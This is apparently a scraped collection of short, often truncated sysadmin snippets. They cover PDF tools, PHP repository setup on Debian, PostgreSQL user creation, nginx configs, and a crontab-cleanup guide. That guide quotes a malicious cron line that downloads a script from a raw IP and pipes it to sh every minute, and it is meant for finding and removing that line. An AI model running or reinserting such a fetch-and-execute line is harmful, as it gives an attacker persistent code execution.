inkscape --export-type=pdf --export-dpi=96 *.svg
pdfunite *.pdf output.pdf
ps2pdf -dPDFSETTINGS=/ebook output.pdf output_ebook.pdf
## Instalando php de diferentes versiones en debian linux | |
su - | |
wget -P /tmp/ https://packages.sury.org/debsuryorg-archive-keyring.deb | |
dpkg -i /tmp/debsuryorg-archive-keyring.deb | |
sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list' | |
apt update |
sudo -u postgres psql | |
postgres=# create database mydb; | |
postgres=# create user myuser with encrypted password 'mypass'; | |
postgres=# grant all privileges on database mydb to myuser; | |
psql -c "ALTER USER usuario WITH PASSWORD 'nueva_password'" | |
#> en postgres ruby | |
apt install libpq-dev |
<?php | |
$absolute_path = "m 867.66051,733.90902 c 7.58365,-0.58723 13.51927,-6.41546 14.24575,-13.97891 22.85162,-240.14627 25.36563,-451.48674 0,-687.860731 -0.72649,-7.563468 -6.66118,-13.390858 -14.24575,-13.97891 -287.85559,-22.0767539 -550.63525,-26.0815249 -835.319853,0 -7.585418,0.588113 -13.52008,6.41546 -14.246568,13.97891 -22.8516209,240.146271 -25.3665348,451.486731 0,687.860731 0.726498,7.56347 6.662072,13.39258 14.246568,13.97891 287.842933,22.08199 550.635253,26.07801 835.319853,0 z"; | |
function regex_callback($matches) { | |
static $count = -1; | |
$count++; | |
$width = 900; | |
$height = 752; | |
if($count % 2) { | |
return $matches[0] / $height; | |
} else { |
#Search all crontabs | |
find / -iname cron* -exec grep -R -nw '195.3.146.118' {} + | |
find / -iname cron* -exec grep -R -nw 'wget -q' {} + | |
# search results example | |
# /var/spool/cron/crontabs | |
# /var/spool/cron/apache | |
# Comment or remove the line | |
# * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 |
worker_processes auto; | |
events { | |
# Allows up to 1024 connections, can be adjusted | |
worker_connections 1024; | |
} | |
# RTMP configuration | |
rtmp { | |
server { | |
listen 1935; # Listen on standard RTMP port |
upstream tunnel { | |
server 127.0.0.1:3000; | |
} | |
server { | |
listen 80; | |
server_name tunnel.bigsigmadevelopment.com; | |
location / { | |
proxy_set_header X-Real-IP $remote_addr; |
REM Para unir dos documentos diferentes podemos ejecutar lo siguiente desde la consola: | |
pdftk archivo1.pdf archivo2.pdf cat output salida.pdf | |
REM Tambien podemos unirlos utilizando etiquetas: | |
pdftk A=archivo1.pdf B=archivo2.pdf cat A B output salida.pdf | |
REM Y por supuesto podemos usar comodines: | |
pdftk *.pdf cat output salida.pdf | |
REM Para separar páginas de varios documentos y crear un documento nuevo con estas hacemos lo siguiente: |